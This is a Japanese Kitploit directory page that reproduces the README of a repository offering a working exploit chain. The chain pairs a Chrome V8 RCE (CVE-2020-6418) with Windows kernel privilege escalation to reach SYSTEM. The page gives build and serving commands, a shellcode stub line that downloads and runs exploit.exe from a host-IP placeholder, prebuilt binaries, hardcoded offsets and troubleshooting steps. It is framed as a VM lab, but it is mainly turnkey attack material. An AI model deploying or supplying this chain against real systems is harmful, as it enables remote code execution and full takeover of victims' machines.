Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-6418 — CVE-2020-6418 (Chrome RCE) を対象としたシングルステージのエクスプロイトチェーン。Windows の権限昇格を利用して SYSTEM への連鎖攻撃を行い、ビルドスクリプトとプリビルドバイナリが付属しています。 | Kitploit
ツール/GitHubGitHub/a-mansilla/cve-2020-6418
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトウェブアプリケーション悪用ペイロード開発バイナリエクスプロイト
GitHuba-mansilla/cve-2020-6418

CVE-2020-6418

CVE-2020-6418 (Chrome RCE) を対象としたシングルステージのエクスプロイトチェーン。Windows の権限昇格を利用して SYSTEM への連鎖攻撃を行い、ビルドスクリプトとプリビルドバイナリが付属しています。

リポジトリを見る
8日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-6418: Chrome RCE と Windows 権限昇格の連鎖

このリポジトリには、CVE-2020-6418 に対する実動するシングルステージのエクスプロイトチェーンが含まれています。 (V8 の Turbofan コンパイラの型混同バグで、Google Chrome 80.0.3987.87 x64 に影響します)。脆弱性のある Chrome で悪意のあるページにアクセスすると、 レンダラープロセス内でネイティブコード実行が得られます。そこから、 エクスプロイトは 2 つ目のバイナリをダウンロードして起動します。そのバイナリはさらに 2 つのバグ (NtPowerInformation の長さチェック欠如と、CVE-2021-31956(ntfs.sys のプールオーバーフロー))を連鎖させ、非特権プロセスから NT AUTHORITY\SYSTEM まで昇格します。

全体はページへの 1 回のアクセスだけで動作し、ブラウザのバグから SYSTEM シェルまでの間に 手動の手順は一切ありません。

Chrome エクスプロイトの元々の功績は、Clement Lecigne(バグ 発見、Google TAG)と Istvan Kurucsai / Vignesh S Rao(当初の 概念実証、後に Metasploit モジュールとして公開)に帰属します。私たちは Metasploit への依存を 取り除き、ペイロードをページに埋め込む代わりに、ネイティブダウンローダーを中心に 配信メカニズムを再構築しました。詳細は browser-exploit/README.md にあります。

リポジトリ構成

root@kitploit:~
browser-exploit/        The Chrome exploit (the V8 bug + the native stub)
  exploit_template.html   HTML/JS source, with a placeholder for the stub
  build_exploit.py         generates exploit.html from the template
  shellcode/                the native code the exploit injects into Chrome
privilege-escalation/    The Windows EoP chain, a standalone C program
prebuilt/                Ready to use binaries (exploit.html and exploit.exe)
notes/                   An earlier approach we tried and abandoned, kept
                         as a record of what we learned along the way

必要なもの

攻撃者マシン("ホスト"): Visual Studio 2019 または 2022(どのエディションでも可。 Community でも、Build Tools だけでも構いません)を備えた最近の Windows と、 NASM、Python 3 が必要です。ここですべてをビルドし、 エクスプロイトページを配信します。

ターゲットマシン("VM"): ここは正確に一致させる必要があります。このエクスプロイトは、 これらの特定のビルドでのみ有効なハードコードされたオフセットに依存しています。

  • Windows 10 20H1、ビルド 19041.264 x64。winver または PowerShell の [System.Environment]::OSVersion で確認してください。
  • Google Chrome 80.0.3987.87 x64(このバグは 80.0.3987.122 で修正されたため、 この正確なビルドか、それより前の脆弱なビルドである必要があります)。 chrome://version で確認してください。
  • フォルダ C:\lab8(空でも構いません。存在していれば十分です)。

これは、ホストオンリーネットワークアダプタを備えた VMware Workstation VM でテストしましたが、 VM が HTTP でホストに到達できる構成なら、どれでも同じように動作します。

クイックスタート

1. ホスト上で全てをビルドする

root@kitploit:~
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html

cd ..\privilege-escalation
build.bat

最初のビルドの前に、browser-exploit\shellcode\download_and_run_stub.asm を開き、 末尾付近の次の 2 行を編集してください:

root@kitploit:~
download_url:       db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path:   db "C:\lab8\exploit.exe", 0

YOUR_HOST_IP は、VM から見たこのマシンの IP アドレスです(VM 上で ipconfig を実行し、ホストオンリーまたは NAT ネットワークに一致するネットワークアダプタを確認するか、 ホスト側で ipconfig を実行して、VM と同じサブネット上のアダプタを使用してください)。 destination_path は、EoP バイナリを VM 内のどこに配置するかに合わせてください。 デフォルトは C:\lab8 です。

編集後、スタブを再アセンブルし、exploit.html を再生成してください(ステップ 1 の 2 つのコマンドです。privilege-escalation のビルドは IP に依存しないため、 スキップします)。

簡単なテストのためにアセンブリファイルを触りたくない場合は、prebuilt/ に 私たち自身のテスト IP が組み込まれた動作するコピーがすでにあります。ただし、 ネットワークが偶然一致した場合にのみ機能するため、自分でビルドしたコピーを使う方が 確実です。

2. ホストからエクスプロイトを配信する

exploit.html と exploit.exe(privilege-escalation/ でビルドしたもの)を 同じフォルダに置いてから、次のコマンドを実行します:

root@kitploit:~
python -m http.server 8000

exploit.exe は、上記の download_url に入力した正確な URL で 到達可能である必要があります。ネイティブスタブはブラウザ経由ではなく、 直接それを取得するためです。

ホストのファイアウォールに関する簡単な注意:VM がポート 8000 に到達できない場合、 ほぼ常に Windows Defender ファイアウォールが未分類ネットワーク上のインバウンド接続を ブロックしているか、python.exe を具体的にブロックする残存ルールが原因です(Windows は アプリが信頼されていないネットワークで接続を受け入れようとした最初の時に、自動的に そのようなルールを作成することがあります)。この問題に遭遇した場合は、 昇格した PowerShell で Get-NetFirewallRule -DisplayName "python.exe" を 確認してください。

3. VM をセットアップする

  • Windows のビルドと Chrome のバージョンが上記の要件に一致することを 確認します。

  • C:\lab8 がまだ存在しない場合は作成します(空でも構いません)。

  • 実際のブートサイクルを経ていない素の VM の場合、 C:\Windows\bootstat.dat が存在しないか空の可能性があります。カーネルのバグでは、 それが有効な内容で存在する必要があります。必要な場合は次のようにします:

    root@kitploit:~
    if (!(Test-Path C:\Windows\bootstat.dat)) {
        fsutil file createnew C:\Windows\bootstat.dat 2048
    }
    $bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
    $bytes[4] = 1
    [System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
    

4. 実行する

脆弱な Chrome を --no-sandbox 付きで起動します(この PoC にはサンドボックスエスケープが含まれていないため、 ファイルシステムにアクセスしてプロセスを生成するには、レンダラーがすでにサンドボックス化されていない必要があります) そして、ページを開きます:

root@kitploit:~
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html

DevTools(F12)を開いて Console タブを確認してください。エクスプロイトはそこに 進行状況を記録します。すべてが噛み合えば、型混同が成功し、 スタブが EoP バイナリをダウンロードして起動し、数秒後には NT AUTHORITY\SYSTEM として実行される新しいコンソールウィンドウが表示されるはずです。

問題が発生した場合

  • エクスプロイトが実行されず Chrome がクラッシュする場合:ほとんどの場合、Chrome の ビルド不一致です。exploit_template.html 内のオフセット (objleaker_offset、float_carw_elements_offset など)は 80.0.3987.87 x64 に固有であり、パッチバージョンが 1 つ違うだけでも 別のビルドでは動作しません。
  • EoP バイナリがコンソールを開くが SYSTEM に到達しない場合:同じ考え方です。 Windows のビルドが正確に 19041.264 であることを確認してください。カーネルオフセット (DEFAULT_RVA_ANCHOR、DEFAULT_RVA_SEPSD、および privilege-escalation/exploit.c 内の各種 EPROCESS/ETHREAD オフセット)は そのビルド用にハードコードされています。
  • ダウンロードスタブが何も取得していないように見える場合: download_and_run_stub.asm 内の download_url が、ホストが実際に配信しているアドレスと ポートに一致しているか、VM がそこに到達できるかを再確認してください(VM 内から 普通の curl http://YOUR_HOST_IP:8000/exploit.exe を実行するのが、 エクスプロイトを疑う前に接続を確認する手っ取り早い方法です)。

各部分の詳細と、なぜそのように構築されているかについては、 各フォルダの README を参照してください。

ツールをダウンロード